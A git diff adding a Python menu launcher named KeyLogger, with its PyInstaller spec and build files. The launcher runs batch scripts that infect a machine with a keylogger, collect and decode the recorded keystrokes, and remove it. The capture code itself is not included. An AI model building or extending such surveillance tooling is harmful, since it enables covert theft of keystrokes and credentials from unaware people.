diff --git a/Dependency/KeyLogger.py b/Dependency/KeyLogger.py
new file mode 100644
index 0000000..1005bcb
--- /dev/null
+++ b/Dependency/KeyLogger.py
@@ -0,0 +1,76 @@
+import os
+import ctypes
+import time
+
+def display_error_message(title, message):
+ MB_ICONERROR = 0x00000010
+ MB_OK = 0x00000000
+ ctypes.windll.user32.MessageBoxW(0, message, title, MB_ICONERROR | MB_OK)
+
+def b_file(chosen):
+ if chosen == 1:
+ file = "Infect.bat"
+ elif chosen == 2:
+ file = "CollectData.bat"
+ elif chosen == 3:
+ file = "Cure.bat"
+ elif chosen == 808:
+ file = "RecordDecoder.exe"
+ elif chosen == 404:
+ file = "Data.txt"
+ else:
+ file = None
+ return file
+
+def open_text_file(filename):
+ try:
+ os.startfile(filename)
+ except Exception as e:
+ # Handle exceptions if the file cannot be opened
+ print(f"Failed to open {filename}: {e}")
+
+def main():
+ while True:
+ try:
+ print("\n1) Infects KeyLogger")
+ print("2) Collect Data from KeyLogger")
+ print("3) Cures KeyLogger")
+ print("99) Exit")
+ choice = int(input("Enter a digit: "))
+ if choice == 808 or choice == 404:
+ display_error_message("Reserved Process Numbers", "Numbers 404 and 808 are reserved process numbers and are not in the menu.")
+ elif choice != 99:
+ file = b_file(choice)
+ if file:
+ if os.path.exists(file):
+ if choice == 2:
+ b_file(808)
+ os.system("RecordDecoder.exe")
+ time.sleep(2)
+ open_text_file("Data.log")
+
+ else:
+ os.system(file)
+ print("\nExecution Successful")
+ else:
+ display_error_message("Keylogger Error", "The Keylogger is corrupted.")
+ elif choice == 99:
+ break
+ except ValueError:
+ print("\nPlease enter a valid number.")
+
+if __name__ == "__main__":
+ print(r'''
+ _________ __ .__ .___.____ __________
+ / _____// |_ __ ________ |__| __| _/| | ____ ____ ____ ___________ \____ /___________ ____
+ \_____ \\ __\ | \____ \| |/ __ | | | / _ \ / ___\ / ___\_/ __ \_ __ \ / // __ \_ __ \/ _ \
+ / \| | | | / |_> > / /_/ | | |__( <_> ) /_/ > /_/ > ___/| | \/ / /\ ___/| | \( <_> )
+/_______ /|__| |____/| __/|__\____ | |_______ \____/\___ /\___ / \___ >__| /_______ \___ >__| \____/
+ \/ |__| \/ \/ /_____//_____/ \/ \/ \/
+ ''')
+ print("All credit to Minhas Kamal (Github User) who provided the actual keylogger bat files")
+ print("DefinetlyNotAI has remixed the project to provide a menu system as well as a practical way to use the keylogger")
+ print("Go to https://github.com/DefinetlyNotAI/SimpleLogger")
+ time.sleep(2)
+ main()
+
diff --git a/Dependency/KeyLogger.spec b/Dependency/KeyLogger.spec
new file mode 100644
index 0000000..06b2c7e
--- /dev/null
+++ b/Dependency/KeyLogger.spec
@@ -0,0 +1,37 @@
+# -*- mode: python ; coding: utf-8 -*-
+
+
+a = Analysis(
+ ['KeyLogger.py'],
+ pathex=[],
+ binaries=[],
+ datas=[],
+ hiddenimports=[],
+ hookspath=[],
+ hooksconfig={},
+ runtime_hooks=[],
+ excludes=[],
+ noarchive=False,
+)
+pyz = PYZ(a.pure)
+
+exe = EXE(
+ pyz,
+ a.scripts,
+ a.binaries,
+ a.datas,
+ [],
+ name='KeyLogger',
+ debug=False,
+ bootloader_ignore_signals=False,
+ strip=False,
+ upx=True,
+ upx_exclude=[],
+ runtime_tmpdir=None,
+ console=True,
+ disable_windowed_traceback=False,
+ argv_emulation=False,
+ target_arch=None,
+ codesign_identity=None,
+ entitlements_file=None,
+)
diff --git a/Dependency/build/KeyLogger/Analysis-00.toc b/Dependency/build/KeyLogger/Analysis-00.toc
new file mode 100644
index 0000000..e90d9ce
--- /dev/null
+++ b/Dependency/build/KeyLogger/Analysis-00.toc
@@ -0,0 +1,284 @@
+(['C:\\Users\\Hp\\Desktop\\x\\KeyLogger.py'],
+ ['C:\\Users\\Hp\\Desktop\\x'],
+ [],
+ ['C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\numpy\\_pyinstaller',
+ 'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\pygame\\__pyinstaller',
+ 'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\_pyinstaller_hooks_contrib\\hooks\\stdhooks',
+ 'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\_pyinstaller_hooks_contrib\\hooks'],
+ {},
+ [],
+ [],
+ False,
+ {},
+ [],
+ [],
+ '3.12.2 (tags/v3.12.2:6abddd9, Feb 6 2024, 21:26:36) [MSC v.1937 64 bit '
+ '(AMD64)]',
+ [('pyi_rth_inspect',
+ 'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\PyInstaller\\hooks\\rthooks\\pyi_rth_inspect.py',
+ 'PYSOURCE'),
+ ('KeyLogger', 'C:\\Users\\Hp\\Desktop\\x\\KeyLogger.py', 'PYSOURCE')],
+ [('inspect', 'C:\\Program Files\\Python312\\Lib\\inspect.py', 'PYMODULE'),
+ ('importlib',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\__init__.py',
+ 'PYMODULE'),
+ ('importlib._bootstrap_external',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\_bootstrap_external.py',
+ 'PYMODULE'),
+ ('importlib.metadata',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\__init__.py',
+ 'PYMODULE'),
+ ('typing', 'C:\\Program Files\\Python312\\Lib\\typing.py', 'PYMODULE'),
+ ('importlib.abc',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\abc.py',
+ 'PYMODULE'),
+ ('importlib.resources.abc',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\abc.py',
+ 'PYMODULE'),
+ ('importlib.resources',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\__init__.py',
+ 'PYMODULE'),
+ ('importlib.resources._legacy',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\_legacy.py',
+ 'PYMODULE'),
+ ('importlib.resources._common',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\_common.py',
+ 'PYMODULE'),
+ ('importlib.resources._adapters',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\_adapters.py',
+ 'PYMODULE'),
+ ('tempfile', 'C:\\Program Files\\Python312\\Lib\\tempfile.py', 'PYMODULE'),
+ ('random', 'C:\\Program Files\\Python312\\Lib\\random.py', 'PYMODULE'),
+ ('statistics',
+ 'C:\\Program Files\\Python312\\Lib\\statistics.py',
+ 'PYMODULE'),
+ ('decimal', 'C:\\Program Files\\Python312\\Lib\\decimal.py', 'PYMODULE'),
+ ('_pydecimal',
+ 'C:\\Program Files\\Python312\\Lib\\_pydecimal.py',
+ 'PYMODULE'),
+ ('contextvars',
+ 'C:\\Program Files\\Python312\\Lib\\contextvars.py',
+ 'PYMODULE'),
+ ('fractions', 'C:\\Program Files\\Python312\\Lib\\fractions.py', 'PYMODULE'),
+ ('numbers', 'C:\\Program Files\\Python312\\Lib\\numbers.py', 'PYMODULE'),
+ ('hashlib', 'C:\\Program Files\\Python312\\Lib\\hashlib.py', 'PYMODULE'),
+ ('logging',
+ 'C:\\Program Files\\Python312\\Lib\\logging\\__init__.py',
+ 'PYMODULE'),
+ ('pickle', 'C:\\Program Files\\Python312\\Lib\\pickle.py', 'PYMODULE'),
+ ('pprint', 'C:\\Program Files\\Python312\\Lib\\pprint.py', 'PYMODULE'),
+ ('dataclasses',
+ 'C:\\Program Files\\Python312\\Lib\\dataclasses.py',
+ 'PYMODULE'),
+ ('copy', 'C:\\Program Files\\Python312\\Lib\\copy.py', 'PYMODULE'),
+ ('_compat_pickle',
+ 'C:\\Program Files\\Python312\\Lib\\_compat_pickle.py',
+ 'PYMODULE'),
+ ('struct', 'C:\\Program Files\\Python312\\Lib\\struct.py', 'PYMODULE'),
+ ('threading', 'C:\\Program Files\\Python312\\Lib\\threading.py', 'PYMODULE'),
+ ('_threading_local',
+ 'C:\\Program Files\\Python312\\Lib\\_threading_local.py',
+ 'PYMODULE'),
+ ('string', 'C:\\Program Files\\Python312\\Lib\\string.py', 'PYMODULE'),
+ ('bisect', 'C:\\Program Files\\Python312\\Lib\\bisect.py', 'PYMODULE'),
+ ('shutil', 'C:\\Program Files\\Python312\\Lib\\shutil.py', 'PYMODULE'),
+ ('tarfile', 'C:\\Program Files\\Python312\\Lib\\tarfile.py', 'PYMODULE'),
+ ('gzip', 'C:\\Program Files\\Python312\\Lib\\gzip.py', 'PYMODULE'),
+ ('_compression',
+ 'C:\\Program Files\\Python312\\Lib\\_compression.py',
+ 'PYMODULE'),
+ ('lzma', 'C:\\Program Files\\Python312\\Lib\\lzma.py', 'PYMODULE'),
+ ('bz2', 'C:\\Program Files\\Python312\\Lib\\bz2.py', 'PYMODULE'),
+ ('fnmatch', 'C:\\Program Files\\Python312\\Lib\\fnmatch.py', 'PYMODULE'),
+ ('importlib._abc',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\_abc.py',
+ 'PYMODULE'),
+ ('importlib.metadata._itertools',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_itertools.py',
+ 'PYMODULE'),
+ ('importlib.metadata._functools',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_functools.py',
+ 'PYMODULE'),
+ ('importlib.metadata._collections',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_collections.py',
+ 'PYMODULE'),
+ ('importlib.metadata._meta',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_meta.py',
+ 'PYMODULE'),
+ ('importlib.metadata._adapters',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_adapters.py',
+ 'PYMODULE'),
+ ('importlib.metadata._text',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\metadata\\_text.py',
+ 'PYMODULE'),
+ ('email.message',
+ 'C:\\Program Files\\Python312\\Lib\\email\\message.py',
+ 'PYMODULE'),
+ ('email.policy',
+ 'C:\\Program Files\\Python312\\Lib\\email\\policy.py',
+ 'PYMODULE'),
+ ('email.contentmanager',
+ 'C:\\Program Files\\Python312\\Lib\\email\\contentmanager.py',
+ 'PYMODULE'),
+ ('email.quoprimime',
+ 'C:\\Program Files\\Python312\\Lib\\email\\quoprimime.py',
+ 'PYMODULE'),
+ ('email.headerregistry',
+ 'C:\\Program Files\\Python312\\Lib\\email\\headerregistry.py',
+ 'PYMODULE'),
+ ('email._header_value_parser',
+ 'C:\\Program Files\\Python312\\Lib\\email\\_header_value_parser.py',
+ 'PYMODULE'),
+ ('urllib',
+ 'C:\\Program Files\\Python312\\Lib\\urllib\\__init__.py',
+ 'PYMODULE'),
+ ('email.iterators',
+ 'C:\\Program Files\\Python312\\Lib\\email\\iterators.py',
+ 'PYMODULE'),
+ ('email.generator',
+ 'C:\\Program Files\\Python312\\Lib\\email\\generator.py',
+ 'PYMODULE'),
+ ('email._encoded_words',
+ 'C:\\Program Files\\Python312\\Lib\\email\\_encoded_words.py',
+ 'PYMODULE'),
+ ('base64', 'C:\\Program Files\\Python312\\Lib\\base64.py', 'PYMODULE'),
+ ('getopt', 'C:\\Program Files\\Python312\\Lib\\getopt.py', 'PYMODULE'),
+ ('gettext', 'C:\\Program Files\\Python312\\Lib\\gettext.py', 'PYMODULE'),
+ ('email.charset',
+ 'C:\\Program Files\\Python312\\Lib\\email\\charset.py',
+ 'PYMODULE'),
+ ('email.encoders',
+ 'C:\\Program Files\\Python312\\Lib\\email\\encoders.py',
+ 'PYMODULE'),
+ ('email.base64mime',
+ 'C:\\Program Files\\Python312\\Lib\\email\\base64mime.py',
+ 'PYMODULE'),
+ ('email._policybase',
+ 'C:\\Program Files\\Python312\\Lib\\email\\_policybase.py',
+ 'PYMODULE'),
+ ('email.header',
+ 'C:\\Program Files\\Python312\\Lib\\email\\header.py',
+ 'PYMODULE'),
+ ('email.errors',
+ 'C:\\Program Files\\Python312\\Lib\\email\\errors.py',
+ 'PYMODULE'),
+ ('email.utils',
+ 'C:\\Program Files\\Python312\\Lib\\email\\utils.py',
+ 'PYMODULE'),
+ ('email._parseaddr',
+ 'C:\\Program Files\\Python312\\Lib\\email\\_parseaddr.py',
+ 'PYMODULE'),
+ ('calendar', 'C:\\Program Files\\Python312\\Lib\\calendar.py', 'PYMODULE'),
+ ('urllib.parse',
+ 'C:\\Program Files\\Python312\\Lib\\urllib\\parse.py',
+ 'PYMODULE'),
+ ('ipaddress', 'C:\\Program Files\\Python312\\Lib\\ipaddress.py', 'PYMODULE'),
+ ('datetime', 'C:\\Program Files\\Python312\\Lib\\datetime.py', 'PYMODULE'),
+ ('_pydatetime',
+ 'C:\\Program Files\\Python312\\Lib\\_pydatetime.py',
+ 'PYMODULE'),
+ ('_strptime', 'C:\\Program Files\\Python312\\Lib\\_strptime.py', 'PYMODULE'),
+ ('socket', 'C:\\Program Files\\Python312\\Lib\\socket.py', 'PYMODULE'),
+ ('selectors', 'C:\\Program Files\\Python312\\Lib\\selectors.py', 'PYMODULE'),
+ ('quopri', 'C:\\Program Files\\Python312\\Lib\\quopri.py', 'PYMODULE'),
+ ('contextlib',
+ 'C:\\Program Files\\Python312\\Lib\\contextlib.py',
+ 'PYMODULE'),
+ ('textwrap', 'C:\\Program Files\\Python312\\Lib\\textwrap.py', 'PYMODULE'),
+ ('zipfile',
+ 'C:\\Program Files\\Python312\\Lib\\zipfile\\__init__.py',
+ 'PYMODULE'),
+ ('zipfile._path',
+ 'C:\\Program Files\\Python312\\Lib\\zipfile\\_path\\__init__.py',
+ 'PYMODULE'),
+ ('zipfile._path.glob',
+ 'C:\\Program Files\\Python312\\Lib\\zipfile\\_path\\glob.py',
+ 'PYMODULE'),
+ ('py_compile',
+ 'C:\\Program Files\\Python312\\Lib\\py_compile.py',
+ 'PYMODULE'),
+ ('importlib.util',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\util.py',
+ 'PYMODULE'),
+ ('pathlib', 'C:\\Program Files\\Python312\\Lib\\pathlib.py', 'PYMODULE'),
+ ('email',
+ 'C:\\Program Files\\Python312\\Lib\\email\\__init__.py',
+ 'PYMODULE'),
+ ('email.parser',
+ 'C:\\Program Files\\Python312\\Lib\\email\\parser.py',
+ 'PYMODULE'),
+ ('email.feedparser',
+ 'C:\\Program Files\\Python312\\Lib\\email\\feedparser.py',
+ 'PYMODULE'),
+ ('csv', 'C:\\Program Files\\Python312\\Lib\\csv.py', 'PYMODULE'),
+ ('importlib.readers',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\readers.py',
+ 'PYMODULE'),
+ ('importlib.resources.readers',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\readers.py',
+ 'PYMODULE'),
+ ('importlib.resources._itertools',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\resources\\_itertools.py',
+ 'PYMODULE'),
+ ('importlib._bootstrap',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\_bootstrap.py',
+ 'PYMODULE'),
+ ('argparse', 'C:\\Program Files\\Python312\\Lib\\argparse.py', 'PYMODULE'),
+ ('token', 'C:\\Program Files\\Python312\\Lib\\token.py', 'PYMODULE'),
+ ('tokenize', 'C:\\Program Files\\Python312\\Lib\\tokenize.py', 'PYMODULE'),
+ ('importlib.machinery',
+ 'C:\\Program Files\\Python312\\Lib\\importlib\\machinery.py',
+ 'PYMODULE'),
+ ('dis', 'C:\\Program Files\\Python312\\Lib\\dis.py', 'PYMODULE'),
+ ('opcode', 'C:\\Program Files\\Python312\\Lib\\opcode.py', 'PYMODULE'),
+ ('ast', 'C:\\Program Files\\Python312\\Lib\\ast.py', 'PYMODULE'),
+ ('stringprep',
+ 'C:\\Program Files\\Python312\\Lib\\stringprep.py',
+ 'PYMODULE'),
+ ('tracemalloc',
+ 'C:\\Program Files\\Python312\\Lib\\tracemalloc.py',
+ 'PYMODULE'),
+ ('_py_abc', 'C:\\Program Files\\Python312\\Lib\\_py_abc.py', 'PYMODULE'),
+ ('ctypes',
+ 'C:\\Program Files\\Python312\\Lib\\ctypes\\__init__.py',
+ 'PYMODULE'),
+ ('ctypes._endian',
+ 'C:\\Program Files\\Python312\\Lib\\ctypes\\_endian.py',
+ 'PYMODULE'),
+ ('subprocess',
+ 'C:\\Program Files\\Python312\\Lib\\subprocess.py',
+ 'PYMODULE'),
+ ('signal', 'C:\\Program Files\\Python312\\Lib\\signal.py', 'PYMODULE')],
+ [('python312.dll', 'C:\\Program Files\\Python312\\python312.dll', 'BINARY'),
+ ('_decimal.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\_decimal.pyd',
+ 'EXTENSION'),
+ ('_hashlib.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\_hashlib.pyd',
+ 'EXTENSION'),
+ ('_lzma.pyd', 'C:\\Program Files\\Python312\\DLLs\\_lzma.pyd', 'EXTENSION'),
+ ('_bz2.pyd', 'C:\\Program Files\\Python312\\DLLs\\_bz2.pyd', 'EXTENSION'),
+ ('unicodedata.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\unicodedata.pyd',
+ 'EXTENSION'),
+ ('select.pyd', 'C:\\Program Files\\Python312\\DLLs\\select.pyd', 'EXTENSION'),
+ ('_socket.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\_socket.pyd',
+ 'EXTENSION'),
+ ('_ctypes.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\_ctypes.pyd',
+ 'EXTENSION'),
+ ('VCRUNTIME140.dll',
+ 'C:\\Program Files\\Python312\\VCRUNTIME140.dll',
+ 'BINARY'),
+ ('libcrypto-3.dll',
+ 'C:\\Program Files\\Python312\\DLLs\\libcrypto-3.dll',
+ 'BINARY'),
+ ('libffi-8.dll',
+ 'C:\\Program Files\\Python312\\DLLs\\libffi-8.dll',
+ 'BINARY')],
+ [],
+ [],
+ [('base_library.zip',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\base_library.zip',
+ 'DATA')])
diff --git a/Dependency/build/KeyLogger/EXE-00.toc b/Dependency/build/KeyLogger/EXE-00.toc
new file mode 100644
index 0000000..fd09768
--- /dev/null
+++ b/Dependency/build/KeyLogger/EXE-00.toc
@@ -0,0 +1,97 @@
+('C:\\Users\\Hp\\Desktop\\x\\dist\\KeyLogger.exe',
+ True,
+ False,
+ False,
+ 'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\PyInstaller\\bootloader\\images\\icon-console.ico',
+ None,
+ False,
+ False,
+ b'\n\n \n \n \n \n \n \n \n '
+ b'\n <'
+ b'application>\n \n \n '
+ b' \n \n \n \n <'
+ b'/compatibility>\n '
+ b'\n \n true\n \n \n \n \n \n \n \n',
+ True,
+ False,
+ None,
+ None,
+ None,
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\KeyLogger.pkg',
+ [('pyi-contents-directory _internal', '', 'OPTION'),
+ ('PYZ-00.pyz',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\PYZ-00.pyz',
+ 'PYZ'),
+ ('struct',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\localpycs\\struct.pyc',
+ 'PYMODULE'),
+ ('pyimod01_archive',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\localpycs\\pyimod01_archive.pyc',
+ 'PYMODULE'),
+ ('pyimod02_importers',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\localpycs\\pyimod02_importers.pyc',
+ 'PYMODULE'),
+ ('pyimod03_ctypes',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\localpycs\\pyimod03_ctypes.pyc',
+ 'PYMODULE'),
+ ('pyimod04_pywin32',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\localpycs\\pyimod04_pywin32.pyc',
+ 'PYMODULE'),
+ ('pyiboot01_bootstrap',
+ 'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\PyInstaller\\loader\\pyiboot01_bootstrap.py',
+ 'PYSOURCE'),
+ ('pyi_rth_inspect',
+ 'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\PyInstaller\\hooks\\rthooks\\pyi_rth_inspect.py',
+ 'PYSOURCE'),
+ ('KeyLogger', 'C:\\Users\\Hp\\Desktop\\x\\KeyLogger.py', 'PYSOURCE'),
+ ('python312.dll', 'C:\\Program Files\\Python312\\python312.dll', 'BINARY'),
+ ('_decimal.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\_decimal.pyd',
+ 'EXTENSION'),
+ ('_hashlib.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\_hashlib.pyd',
+ 'EXTENSION'),
+ ('_lzma.pyd', 'C:\\Program Files\\Python312\\DLLs\\_lzma.pyd', 'EXTENSION'),
+ ('_bz2.pyd', 'C:\\Program Files\\Python312\\DLLs\\_bz2.pyd', 'EXTENSION'),
+ ('unicodedata.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\unicodedata.pyd',
+ 'EXTENSION'),
+ ('select.pyd', 'C:\\Program Files\\Python312\\DLLs\\select.pyd', 'EXTENSION'),
+ ('_socket.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\_socket.pyd',
+ 'EXTENSION'),
+ ('_ctypes.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\_ctypes.pyd',
+ 'EXTENSION'),
+ ('VCRUNTIME140.dll',
+ 'C:\\Program Files\\Python312\\VCRUNTIME140.dll',
+ 'BINARY'),
+ ('libcrypto-3.dll',
+ 'C:\\Program Files\\Python312\\DLLs\\libcrypto-3.dll',
+ 'BINARY'),
+ ('libffi-8.dll',
+ 'C:\\Program Files\\Python312\\DLLs\\libffi-8.dll',
+ 'BINARY'),
+ ('base_library.zip',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\base_library.zip',
+ 'DATA')],
+ [],
+ False,
+ False,
+ 1708118362,
+ [('run.exe',
+ 'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\PyInstaller\\bootloader\\Windows-64bit-intel\\run.exe',
+ 'EXECUTABLE')],
+ 'C:\\Program Files\\Python312\\python312.dll')
diff --git a/Dependency/build/KeyLogger/KeyLogger.pkg b/Dependency/build/KeyLogger/KeyLogger.pkg
new file mode 100644
index 0000000..1db7cd2
Binary files /dev/null and b/Dependency/build/KeyLogger/KeyLogger.pkg differ
diff --git a/Dependency/build/KeyLogger/PKG-00.toc b/Dependency/build/KeyLogger/PKG-00.toc
new file mode 100644
index 0000000..8c3480e
--- /dev/null
+++ b/Dependency/build/KeyLogger/PKG-00.toc
@@ -0,0 +1,75 @@
+('C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\KeyLogger.pkg',
+ {'BINARY': True,
+ 'DATA': True,
+ 'EXECUTABLE': True,
+ 'EXTENSION': True,
+ 'PYMODULE': True,
+ 'PYSOURCE': True,
+ 'PYZ': False,
+ 'SPLASH': True,
+ 'SYMLINK': False},
+ [('pyi-contents-directory _internal', '', 'OPTION'),
+ ('PYZ-00.pyz',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\PYZ-00.pyz',
+ 'PYZ'),
+ ('struct',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\localpycs\\struct.pyc',
+ 'PYMODULE'),
+ ('pyimod01_archive',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\localpycs\\pyimod01_archive.pyc',
+ 'PYMODULE'),
+ ('pyimod02_importers',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\localpycs\\pyimod02_importers.pyc',
+ 'PYMODULE'),
+ ('pyimod03_ctypes',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\localpycs\\pyimod03_ctypes.pyc',
+ 'PYMODULE'),
+ ('pyimod04_pywin32',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\localpycs\\pyimod04_pywin32.pyc',
+ 'PYMODULE'),
+ ('pyiboot01_bootstrap',
+ 'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\PyInstaller\\loader\\pyiboot01_bootstrap.py',
+ 'PYSOURCE'),
+ ('pyi_rth_inspect',
+ 'C:\\Users\\Hp\\AppData\\Roaming\\Python\\Python312\\site-packages\\PyInstaller\\hooks\\rthooks\\pyi_rth_inspect.py',
+ 'PYSOURCE'),
+ ('KeyLogger', 'C:\\Users\\Hp\\Desktop\\x\\KeyLogger.py', 'PYSOURCE'),
+ ('python312.dll', 'C:\\Program Files\\Python312\\python312.dll', 'BINARY'),
+ ('_decimal.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\_decimal.pyd',
+ 'EXTENSION'),
+ ('_hashlib.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\_hashlib.pyd',
+ 'EXTENSION'),
+ ('_lzma.pyd', 'C:\\Program Files\\Python312\\DLLs\\_lzma.pyd', 'EXTENSION'),
+ ('_bz2.pyd', 'C:\\Program Files\\Python312\\DLLs\\_bz2.pyd', 'EXTENSION'),
+ ('unicodedata.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\unicodedata.pyd',
+ 'EXTENSION'),
+ ('select.pyd', 'C:\\Program Files\\Python312\\DLLs\\select.pyd', 'EXTENSION'),
+ ('_socket.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\_socket.pyd',
+ 'EXTENSION'),
+ ('_ctypes.pyd',
+ 'C:\\Program Files\\Python312\\DLLs\\_ctypes.pyd',
+ 'EXTENSION'),
+ ('VCRUNTIME140.dll',
+ 'C:\\Program Files\\Python312\\VCRUNTIME140.dll',
+ 'BINARY'),
+ ('libcrypto-3.dll',
+ 'C:\\Program Files\\Python312\\DLLs\\libcrypto-3.dll',
+ 'BINARY'),
+ ('libffi-8.dll',
+ 'C:\\Program Files\\Python312\\DLLs\\libffi-8.dll',
+ 'BINARY'),
+ ('base_library.zip',
+ 'C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\base_library.zip',
+ 'DATA')],
+ 'python312.dll',
+ False,
+ False,
+ False,
+ [],
+ None,
+ None,
+ None)
diff --git a/Dependency/build/KeyLogger/PYZ-00.pyz b/Dependency/build/KeyLogger/PYZ-00.pyz
new file mode 100644
index 0000000..ff5e375
Binary files /dev/null and b/Dependency/build/KeyLogger/PYZ-00.pyz differ
diff --git a/Dependency/build/KeyLogger/PYZ-00.toc b/Dependency/build/KeyLogger/PYZ-00.toc
new file mode 100644
index 0000000..c3160cc
--- /dev/null
+++ b/Dependency/build/KeyLogger/PYZ-00.toc
@@ -0,0 +1,231 @@
+('C:\\Users\\Hp\\Desktop\\x\\build\\KeyLogger\\PYZ-00.pyz',
+ [('_compat_pickle',
+ 'C:\\Program Files\\Python312\\Lib\\_compat_pickle.py',
+ 'PYMODULE'),
+ ('_compression',
+ 'C:\\Program Files\\Python312\\Lib\\_compression.py',
+ 'PYMODULE'),
+ ('_py_abc', 'C:\\Program Files\\Python312\\Lib\\_py_abc.py', 'PYMODULE'),
+ ('_pydatetime',
+ 'C:\\Program Files\\Python312\\Lib\\_pydatetime.py',
+ 'PYMODULE'),
+ ('_pydecimal',
+ 'C:\\Program Files\\Python312\\Lib\\_pydecimal.py',
+ 'PYMODULE'),
+ ('_strptime', 'C:\\Program Files\\Python312\\Lib\\_strptime.py', 'PYMODULE'),
+ ('_threading_local',
+ 'C:\\Program Files\\Python312\\Lib\\_threading_local.py',
+ 'PYMODULE'),
+ ('argparse', 'C:\\Program Files\\Python312\\Lib\\argparse.py', 'PYMODULE'),
+ ('ast', 'C:\\Program Files\\Python312\\Lib\\ast.py', 'PYMODULE'),
+ ('base64', 'C:\\Program Files\\Python312\\Lib\\base64.py', 'PYMODULE'),
+ ('bisect', 'C:\\Program Files\\Python312\\Lib\\bisect.py', 'PYMODULE'),
+ ('bz2', 'C:\\Program Files\\Python312\\Lib\\bz2.py', 'PYMODULE'),
+ ('calendar', 'C:\\Program Files\\Python312\\Lib\\calendar.py', 'PYMODULE'),
+ ('contextlib',
+ 'C:\\Program Files\\Python312\\Lib\\contextlib.py',
+ 'PYMODULE'),
+ ('contextvars',
+ 'C:\\Program Files\\Python312\\Lib\\contextvars.py',
+ 'PYMODULE'),
+ ('copy', 'C:\\Program Files\\Python312\\Lib\\copy.py', 'PYMODULE'),
+ ('csv', 'C:\\Program Files\\Python312\\Lib\\csv.py', 'PYMODULE'),
+ ('ctypes',
+ 'C:\\Program Files\\Python312\\Lib\\ctypes\\__init__.py',
+ 'PYMODULE'),
+ ('ctypes._endian',
+ 'C:\\Program Files\\Python312\\Lib\\ctypes\\_endian.py',
+ 'PYMODULE'),
+ ('dataclasses',
+ 'C:\\Program Files\\Python312\\Lib\\dataclasses.py',
+ 'PYMODULE'),
+ ('datetime', 'C:\\Program Files\\Python312\\Lib\\datetime.py', 'PYMODULE'),
+ ('decimal', 'C:\\Program Files\\Python312\\Lib\\decimal.py', 'PYMODULE'),
+ ('dis', 'C:\\Program Files\\Python312\\Lib\\dis.py', 'PYMODULE'),
+ ('email',
+ 'C:\\Program Files\\Python312\\Lib\\email\\__init__.py',
+ 'PYMODULE'),
+ ('email._encoded_words',
+ 'C:\\Program Files\\Python312\\Lib\\email\\_encoded_words.py',
+ 'PYMODULE'),
+ ('email._header_value_parser',
+ 'C:\\Program Files\\Python312\\Lib\\email\\_header_value_parser.py',
+ 'PYMODULE'),
+ ('email._parseaddr',
+ 'C:\\Program Files\\Python312\\Lib\\email\\_parseaddr.py',
+ 'PYMODULE'),
+ ('email._policybase',
+ 'C:\\Program Files\\Python312\\Lib\\email\\_policybase.py',
+ 'PYMODULE'),
+ ('email.base64mime',
